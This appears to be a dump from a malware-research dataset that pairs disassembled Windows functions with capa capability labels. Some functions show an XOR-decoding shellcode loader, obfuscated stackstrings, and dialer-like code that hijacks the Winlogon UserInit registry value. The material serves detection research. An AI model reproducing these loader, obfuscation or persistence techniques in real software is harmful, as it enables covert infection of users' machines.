joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4fc72b
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x69], bl
mov byte [ebp - 0x68], 0x17
mov byte [ebp - 0x67], 0x28
mov byte [ebp - 0x66], 0x33
mov byte [ebp - 0x65], 0x35
mov byte [ebp - 0x64], 0x34
mov byte [ebp - 0x63], 0x20
mov byte [ebp - 0x62], 0x2d
mov byte [ebp - 0x61], 0x11
mov byte [ebp - 0x60], 0x33
mov byte [ebp - 0x5f], 0x2e
mov byte [ebp - 0x5e], 0x35
mov byte [ebp - 0x5d], 0x24
mov byte [ebp - 0x5c], 0x22
mov byte [ebp - 0x5b], 0x35
mov byte [ebp - 0x5a], 0x41
call fcn.004fc373
push eax
push esi
push dword [ebp + 8]
call fcn.004fc328
mov dword [ebp - 0xbc], eax
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x2c], bl
push eax
mov byte [ebp - 0x2b], bl
mov byte [ebp - 0x2a], 0xd4
mov byte [ebp - 0x29], bl
mov byte [ebp - 0x28], 0x67
mov byte [ebp - 0x27], 0x44
mov byte [ebp - 0x26], 0x4a
mov byte [ebp - 0x25], 0x4f
mov byte [ebp - 0x24], 0x67
mov byte [ebp - 0x23], 0x42
mov byte [ebp - 0x22], 0x49
mov byte [ebp - 0x21], 0x59
mov byte [ebp - 0x20], 0x4a
mov byte [ebp - 0x1f], 0x59
mov byte [ebp - 0x1e], 0x52
mov byte [ebp - 0x1d], 0x6a
mov byte [ebp - 0x1c], 0x2b
call fcn.004fc373
push eax
push esi
push dword [ebp + 8]
call fcn.004fc328
add esp, 0x30
mov dword [ebp - 0xb8], eax
call fcn.004fc363
jg 0x4fc851
test byte [ebp - 0x836278], bh
invalid
push eax
call fcn.004fc373
push eax
push esi
push dword [ebp + 8]
call fcn.004fc328
add esp, 0x10
mov dword [ebp - 0xc0], eax
push 0x40
push 0x1000
push dword [ebp + 0xc]
push ebx
call dword [ebp - 0x88]
mov esi, eax
cmp esi, ebx
je 0x4fcb5c
push dword [ebp - 0xb4]
push dword [ebp + 0x10]
push esi
call fcn.004fc2d4
add esp, 0xc
cmp word [edi + 6], bx
mov dword [ebp + 0xc], ebx
jbe 0x4fc8d3
movzx eax, word [ebp + 0xc]
mov ecx, dword [ebp - 0x44]
lea eax, [eax + eax*4]
push dword [ecx + eax*8 + 0x10]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 0xc]
add ecx, dword [ebp + 0x10]
add eax, esi
push ecx
push eax
call fcn.004fc2d4
add esp, 0xc
inc dword [ebp + 0xc]
mov ax, word [ebp + 0xc]
cmp ax, word [edi + 6]
jb 0x4fc8a0
call fcn.004fc363
cmp dh, byte [eax]
shr byte [eax - 0x75], 1
jle 0x4fc91b
add edi, esi
mov dword [ebp - 0x88], edi
mov eax, dword [edi + 0x80]
cmp eax, ebx
je 0x4fcb52
add eax, esi
mov dword [ebp - 0x44], eax
cmp dword [eax + 4], ebx
jne 0x4fc908
cmp dword [eax + 0xc], ebx
je 0x4fc9ab
mov edi, dword [eax + 0xc]
add edi, esi
push edi
call dword [ebp - 0xc0]
mov dword [ebp + 0xc], eax
call fcn.004fc363
push eax
add al, byte [ebp + 0x750c5d39]
adc dl, byte [edi - 1]
xchg ebp, eax
dec eax
invalid
jmp dword [edi + 0x50]
call fcn.004fc363
invalid
push 0x8000
push ebx
push esi
call dword [ebp - 8]
xor eax, eax
Function at 0x4fcbec
Capabilities:
Contain obfuscated stackstrings

Disassembly:
inc esp
mov byte [ebp - 0x343], 0x55
mov byte [ebp - 0x342], 0x25
lea eax, [ebp - 0x354]
push eax
call fcn.004fc373
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004fc328
add esp, 0xc
mov dword [ebp - 0x68c], eax
call dword [ebp - 0x68c]
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x384], 4
and byte [ebp - 0x334], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x333]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov dword [ebp - 0x670], 4
and byte [ebp - 0x3c4], 0
and byte [ebp - 0x3c3], 0
mov byte [ebp - 0x3c2], 0x99
and byte [ebp - 0x3c1], 0
mov byte [ebp - 0x3c0], 0x21
mov byte [ebp - 0x3bf], 3
mov byte [ebp - 0x3be], 0x12
mov byte [ebp - 0x3bd], 0x2b
mov byte [ebp - 0x3bc], 9
mov byte [ebp - 0x3bb], 2
mov byte [ebp - 0x3ba], 0x13
mov byte [ebp - 0x3b9], 0xa
mov byte [ebp - 0x3b8], 3
mov byte [ebp - 0x3b7], 0x20
mov byte [ebp - 0x3b6], 0xf
mov byte [ebp - 0x3b5], 0xa
mov byte [ebp - 0x3b4], 3
mov byte [ebp - 0x3b3], 0x28
mov byte [ebp - 0x3b2], 7
mov byte [ebp - 0x3b1], 0xb
mov byte [ebp - 0x3b0], 3
mov byte [ebp - 0x3af], 0x27
mov byte [ebp - 0x3ae], 0x66
lea eax, [ebp - 0x3c4]
push eax
call fcn.004fc373
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004fc328
add esp, 0xc
mov dword [ebp - 0x538], eax
and byte [ebp - 0x3ec], 0
and byte [ebp - 0x3eb], 0
mov byte [ebp - 0x3ea], 0x11
and byte [ebp - 0x3e9], 0
mov byte [ebp - 0x3e8], 0xa9
mov byte [ebp - 0x3e7], 0x8b
mov byte [ebp - 0x3e6], 0x9a
mov byte [ebp - 0x3e5], 0xa3
mov byte [ebp - 0x3e4], 0x81
mov byte [ebp - 0x3e3], 0x8a
mov byte [ebp - 0x3e2], 0x9b
mov byte [ebp - 0x3e1], 0x82
mov byte [ebp - 0x3e0], 0x8b
mov byte [ebp - 0x3df], 0xa6
mov byte [ebp - 0x3de], 0x8f
mov byte [ebp - 0x3dd], 0x80
mov byte [ebp - 0x3dc], 0x8a
mov byte [ebp - 0x3db], 0x82
mov byte [ebp - 0x3da], 0x8b
mov byte [ebp - 0x3d9], 0xaf
mov byte [ebp - 0x3d8], 0xee
lea eax, [ebp - 0x3ec]
push eax
call fcn.004fc373
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.004fc328
add esp, 0xc
mov dword [ebp - 0x340], eax
call fcn.004fc363
and al, 0x83
mov esp, 0xcca58038
cli
invalid
Function at 0x514e28
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov edi, edi
push esi
mov esi, ecx
call fcn.00447c4e
call fcn.00411e9e
cmp eax, esi
pop esi
jne 0x514e44
mov ecx, 0x5ccc68
jmp fcn.0044fcbe
ret

Function at 0x51873e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
test byte [esi + 4], 1
push edi
mov ebx, ecx
je 0x518756
mov edi, dword [esi + 0xc]
jmp 0x518796
push 5
push dword [esi + 0xc]
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov edi, eax
test edi, edi
jne 0x51876f
call fcn.0044a330
push edi
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
jne 0x518784
call fcn.0044a330
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
test edi, edi
jne 0x518796
call fcn.0044a330
call fcn.00439647
cmp dword [eax + 0x3c], 0
je 0x5187ab
push edi
mov ecx, ebx
call fcn.005175f2
mov edi, eax
push dword [ebp + 0xc]
push edi
call fcn.00518658
mov dword [ebp + 8], eax
mov eax, dword [ebx + 0x7c]
test eax, eax
je 0x5187c9
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
and dword [ebx + 0x7c], 0
mov eax, dword [ebp + 8]
test eax, eax
je 0x5187d5
mov edi, eax
mov dword [ebx + 0x7c], eax
or dword [esi + 4], 1
mov dword [esi + 0xc], edi
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x53792d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x5c9030]
jne 0x537937
repz ret
jmp fcn.00540de6
Function at 0x403e4a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x403e59
pop dword [ebp - 0xc]
mov eax, 0xc2160288
add eax, 0x3e2a3bd1
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x199299f
sub dword [ebp - 0x1c], 0xb346e454
mov dword [ebp - 0x18], 0xb5fa962e
add dword [ebp - 0x18], 0x7c38b617
mov dword [ebp - 0x14], 0x55e084d0
add dword [ebp - 0x14], 0xf66bbf5e
mov dword [ebp - 0x10], 0x3d2c9fce
sub dword [ebp - 0x10], 0x3d2c9fce
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x97a31e10
sub eax, 0x97629d84
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x26ddcda4
add dword [ebp - 0x1c], 0x4d949bb2
mov dword [ebp - 0x18], 0x24ab0b8d
sub dword [ebp - 0x18], 0xe33eaa18
mov dword [ebp - 0x14], 0x3ed70164
add dword [ebp - 0x14], 0x24986b08
mov dword [ebp - 0x10], 0xbdfea567
add dword [ebp - 0x10], 0x42015a99
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xa1f8ac0
sub eax, 0x9df09ec
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x383a5
push 0
call eax
mov ecx, 0x4dec
xor edi, edi
add edi, eax
mov ebx, 0x46003f9c
sub ebx, 0x45bf2f9c
add ebx, dword [ebp - 0xc]
mov edx, 0x48fc3b9c
add edx, 0x8f9f2f84
mov esi, dword [ebx]
xor dword [ebp - 8], esi
sub esi, edx
sub dword [ebp - 4], 0xb7c69ec8
mov dword [edi], esi
add edi, 4
add ebx, 0x36fa9282
add ebx, 0xc9056d82
loop 0x403f77
add eax, 0x12a83
xor ebx, ebx
add ebx, eax
add eax, 0xf0dac404
add eax, 0xf253c01
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x4020af
Capabilities:
Create process on windows

Disassembly:
mov dword [0x40456a], 0
jmp 0x4021af
push str.Connessione_Predefinita
push 0x40bf2d
call sub.KERNEL32.DLL_lstrcpyA
push 0x4044ab
push 0x40c02e
call sub.KERNEL32.DLL_lstrcpyA
push 0x4044c8
push 0x40c130
call sub.KERNEL32.DLL_lstrcpyA
push 0x4044d2
push 0x40c231
call sub.KERNEL32.DLL_lstrcpyA
cmp byte [0x404836], 0xcb
jbe 0x40210c
cmp byte [0x4047de], 0x31
jne 0x40211e
cmp byte [0x404836], 0x4e
jbe 0x40212f
cmp byte [0x4047de], 0x31
jne 0x40212f
push 0
push 0x410780
push 0x80000002
call fcn.004029d8
push 0x3e8
call sub.KERNEL32.DLL_Sleep
mov eax, 0
push 0x40fe18
push eax
push eax
push 0x40bf29
push eax
push eax
call dword [0x410884]
mov dword [0x40fcb0], eax
cmp byte [0x404836], 0xcb
jbe 0x402169
cmp byte [0x4047de], 0x31
jne 0x40217b
cmp byte [0x404836], 0x4e
jbe 0x40218c
cmp byte [0x4047de], 0x31
jne 0x40218c
push 1
push 0x410780
push 0x80000002
call fcn.004029d8
mov eax, dword [0x40fcb0]
or eax, eax
je 0x4021bc
mov dword [0x40fe18], 0
push 0x1388
call sub.KERNEL32.DLL_Sleep
inc dword [0x40456a]
cmp dword [0x40456a], 3
jb 0x4020be
cmp dword [0x40fcb0], 0
jne 0x4021d6
push 0x40430c
push 0x40fe24
call sub.KERNEL32.DLL_lstrcatA
jmp 0x4021e5
push 0x404342
push 0x40fe24
call sub.KERNEL32.DLL_lstrcatA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
push 0x410068
push 0x410024
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0x40fe24
push 0
call sub.KERNEL32.DLL_CreateProcessA
ret

Function at 0x4022db
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
push 0x40fe20
push 0x40fe1c
push 0
push 0xf003f
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionInternet_SettingsUser_AgentPost_Platform
push 0x80000001
call sub.ADVAPI32.dll_RegCreateKeyExA
mov dword [0x41026c], 0x100
mov dword [0x410270], 0x100
push 0x410270
push 0x410172
push str.REG_SZ
push 0
push 0x41026c
push 0x410078
push dword [0x40456a]
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegEnumValueA
push eax
push 0x410078
push 0x40fd18
call sub.KERNEL32.DLL_lstrcpyA
mov byte [0x40fd1f], 0
push str.snprtz
push 0x40fd18
call sub.KERNEL32.DLL_lstrcmpiA
or eax, eax
jne 0x40237d
push 0x410078
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegDeleteValueA
jmp 0x402383
inc dword [0x40456a]
pop eax
cmp eax, 0x103
jne 0x402301
push 1
push 0x404807
push 1
push 0
push 0x410474
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegSetValueExA
push dword [0x40fe1c]
call sub.ADVAPI32.dll_RegCloseKey
ret
Function at 0x4029d8
Capabilities:
Delete registry value
Query or enumerate registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffce4
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.dll_RegOpenKeyA
or eax, eax
je 0x4029f8
leave
ret 0xc
mov dword [ebp - 0x31c], 0
push 0x104
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x31c]
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegEnumKeyA
push eax
or eax, eax
jne 0x402b5b
push dword [ebp + 0xc]
lea eax, [ebp - 0x110]
push eax
call sub.KERNEL32.DLL_lstrcpyA
push 0x404789
lea eax, [ebp - 0x110]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x110]
push eax
push 0x80000002
call sub.ADVAPI32.dll_RegOpenKeyA
cmp dword [ebp + 0x10], 0
jne 0x402ae2
mov byte [ebp - 0x214], 0
mov dword [ebp - 0xc], 0x104
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push str.UserInit
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegQueryValueExA
lea eax, [ebp - 0x214]
push eax
call sub.KERNEL32.DLL_lstrlenA
or eax, eax
je 0x402ac8
push dword [ebp - 0xc]
lea eax, [ebp - 0x214]
push eax
push 1
push 0
push str.UitO
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegSetValueExA
push 5
push str.ATM0
push 1
push 0
push str.UserInit
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegSetValueExA
jmp 0x402b53
mov byte [ebp - 0x214], 0
mov dword [ebp - 0xc], 0x104
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push str.UitO
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegQueryValueExA
lea eax, [ebp - 0x214]
push eax
call sub.KERNEL32.DLL_lstrlenA
or eax, eax
je 0x402b39
push dword [ebp - 0xc]
lea eax, [ebp - 0x214]
push eax
push 1
push 0
push str.UserInit
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegSetValueExA
jmp 0x402b46
push str.UserInit
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegDeleteValueA
push str.UitO
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegDeleteValueA
push dword [ebp - 8]
call sub.ADVAPI32.dll_RegCloseKey
inc dword [ebp - 0x31c]
pop eax
cmp eax, 0x103
jne 0x402a02
push dword [ebp - 4]
call sub.ADVAPI32.dll_RegCloseKey
leave
ret 0xc
Function at 0x403394
Capabilities:
Accept command line arguments

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffef8
mov ebx, edx
mov esi, eax
mov eax, ebx
call fcn.004054ec
test esi, esi
jne 0x4033ca
push 0x105
lea eax, [esp + 4]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004055dc
jmp 0x4033e8
call sub.KERNEL32.DLL_GetCommandLineA
mov edi, eax
mov edx, ebx
mov eax, edi
call fcn.00403238
mov edi, eax
test esi, esi
je 0x4033e8
cmp dword [ebx], 0
je 0x4033e8
dec esi
jmp 0x4033d1
add esp, 0x108
pop edi
pop esi
pop ebx
ret

Function at 0x4044b8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
movzx eax, word [0x4d8020]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x404550
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x404530
xor eax, eax
push ebp
push 0x404529
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0xc], 4
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x40456c
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x404530
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
movzx eax, word [0x4d8020]
and ax, 0xffc0
movzx edx, word [ebp - 8]
and dx, 0x3f
or ax, dx
mov word [0x4d8020], ax
mov esp, ebp
pop ebp
ret

Function at 0x40536c
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x4eb04c], 0
je 0x4053cd
cmp word [0x4eb220], 0xd7b2
jne 0x405395
cmp dword [0x4eb228], 0
jbe 0x405395
mov eax, 0x4eb21c
call dword [0x4eb238]
push 0
lea eax, [esp + 4]
push eax
push 0x1e
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x4053f4
push 0xfffffffffffffff5
call sub.KERNEL32.DLL_GetStdHandle
push eax
call sub.KERNEL32.DLL_WriteFile
pop edx
ret
cmp byte [0x4d802c], 0
jne 0x4053e9
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA_1
pop edx
ret
Function at 0x406e88
Capabilities:
Get geographical location
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_GetModuleFileNameA
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4070b8
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
je 0x406f0b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4070b8
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
je 0x406f0b
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4070d4
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x406f94
xor eax, eax
push ebp
push 0x406f8d
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00406cc4
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x406f72
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4070f4
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x406f72
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x406f94
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrcpynA
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_GetThreadLocale_1
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x4070ae
cmp byte [ebp - 0xd], 0
jne 0x406fdb
cmp byte [ebp - 0x12], 0
je 0x4070ae
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x406ff4
dec ebx
cmp byte [ebx], 0x2e
je 0x407003
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x406ff3
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x4070ae
inc ebx
cmp byte [ebp - 0x12], 0
je 0x407040
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4070ae
cmp byte [ebp - 0xd], 0
je 0x4070ae
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
test esi, esi
jne 0x4070ae
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_lstrcpynA
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_LoadLibraryExA
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x409a48
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp eax, edx
je 0x409a9a
test eax, edx
je 0x409a9d
movzx ecx, byte [edx]
cmp cl, byte [eax]
je 0x409a5d
movzx eax, byte [eax]
sub eax, ecx
ret
push ebx
mov ebx, dword [eax - 4]
xor ecx, ecx
sub ebx, dword [edx - 4]
push ebx
adc ecx, 0xffffffff
and ecx, ebx
sub ecx, dword [eax - 4]
sub eax, ecx
sub edx, ecx
mov ebx, dword [ecx + eax]
xor ebx, dword [ecx + edx]
jne 0x409a83
add ecx, 4
js 0x409a73
pop eax
pop ebx
ret
bsf ebx, ebx
shr ebx, 3
add ecx, ebx
jns 0x409a80
movzx eax, byte [ecx + eax]
movzx edx, byte [ecx + edx]
sub eax, edx
pop ebx
pop ebx
ret
xor eax, eax
ret
test eax, eax
je 0x409aa9
test edx, edx
jne 0x409a50
mov eax, dword [eax - 4]
ret
sub eax, dword [edx - 4]
ret

Function at 0x40a4f8
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
push esi
mov esi, eax
mov eax, esi
call fcn.0040597c
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40a516
test al, 0x10
sete al
pop esi
pop ebx
ret
call sub.KERNEL32.DLL_GetLastError_1
mov ebx, eax
cmp ebx, 2
je 0x40a537
cmp ebx, 3
je 0x40a537
cmp ebx, 0x7b
je 0x40a537
mov eax, esi
call fcn.0040a4b8
test al, al
jne 0x40a53b
xor eax, eax
jmp 0x40a53d
mov al, 1
pop esi
pop ebx
ret

Function at 0x40a540
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, eax
mov eax, ebx
call fcn.0040597c
push eax
call sub.KERNEL32.DLL_GetFileAttributesA
cmp eax, 0xffffffff
je 0x40a559
test al, 0x10
jne 0x40a55d
xor eax, eax
pop ebx
ret
mov al, 1
pop ebx
ret

Function at 0x40a564
Capabilities:
Set file attributes

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
xor ebx, ebx
push edi
mov eax, esi
call fcn.0040597c
push eax
call sub.KERNEL32.DLL_SetFileAttributesA
test eax, eax
jne 0x40a586
call sub.KERNEL32.DLL_GetLastError_1
mov ebx, eax
mov eax, ebx
pop edi
pop esi
pop ebx
ret

Function at 0x40d384
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff00
push ebx
push esi
mov esi, ecx
mov ebx, dword [ebp + 8]
push pe_nt_image_headers32
lea ecx, [ebp - 0x100]
push ecx
push edx
push eax
call sub.KERNEL32.DLL_GetLocaleInfoA_1
test eax, eax
jle 0x40d3bd
mov ecx, eax
dec ecx
lea edx, [ebp - 0x100]
mov eax, ebx
call fcn.004055dc
jmp 0x40d3c6
mov eax, ebx
mov edx, esi
call fcn.00405540
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x40d3d0
Capabilities:
Get geographical location

Disassembly:
push ebx
push esi
push edi
push ecx
mov ebx, ecx
mov esi, edx
mov edi, eax
push 2
lea eax, [esp + 4]
push eax
push esi
push edi
call sub.KERNEL32.DLL_GetLocaleInfoA_1
test eax, eax
jle 0x40d3f2
movzx eax, byte [esp]
jmp 0x40d3f4
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x40da84
Capabilities:
Write file on windows

Disassembly:
add esp, 0xfffffbbc
push 0x400
lea ecx, [esp + 0x48]
call 0x40d8fc
mov eax, dword [0x4ea5a8]
cmp byte [eax], 0
je 0x40db00
mov eax, dword [0x4ea2d8]
call fcn.004037e8
call fcn.0040303c
lea eax, [esp + 0x44]
push eax
lea eax, [esp + 0x48]
push eax
call sub.user32.dll_CharToOemA
push 0
lea eax, [esp + 4]
push eax
lea eax, [esp + 0x4c]
call fcn.0040a9bc
push eax
lea eax, [esp + 0x50]
push eax
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
push 0
lea eax, [esp + 4]
push eax
push 2
push 0x40db48
push 0xfffffffffffffff4
call sub.KERNEL32.DLL_GetStdHandle_1
push eax
call sub.KERNEL32.DLL_WriteFile_1
jmp 0x40db36
push 0x40
lea eax, [esp + 8]
push eax
mov eax, dword [0x4ea268]
mov eax, dword [eax + 4]
push eax
mov eax, dword [0x4ed7f8]
call fcn.00406c6c
push eax
call sub.user32.dll_LoadStringA
push 0x2010
lea eax, [esp + 8]
push eax
lea eax, [esp + 0x4c]
push eax
push 0
call sub.user32.dll_MessageBoxA
add esp, 0x444
ret

Function at 0x40e414
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x40e4ea
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xffffffff
lea eax, [ebp - 4]
mov edx, ebx
call fcn.00405584
lea eax, [ebp - 4]
call fcn.004059d4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040597c
push eax
call sub.version.dll_GetFileVersionInfoSizeA
mov ebx, eax
test ebx, ebx
je 0x40e4d4
mov eax, ebx
call fcn.00402ee0
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x40e4cd
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x10]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.0040597c
push eax
call sub.version.dll_GetFileVersionInfoA
test eax, eax
je 0x40e4b7
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14]
push eax
push 0x40e4fc
mov eax, dword [ebp - 0x10]
push eax
call sub.version.dll_VerQueryValueA
test eax, eax
je 0x40e4b7
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 8]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e4d4
mov eax, dword [ebp - 0x10]
call fcn.00402efc
ret
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40e4f1
lea eax, [ebp - 4]
call fcn.004054ec
ret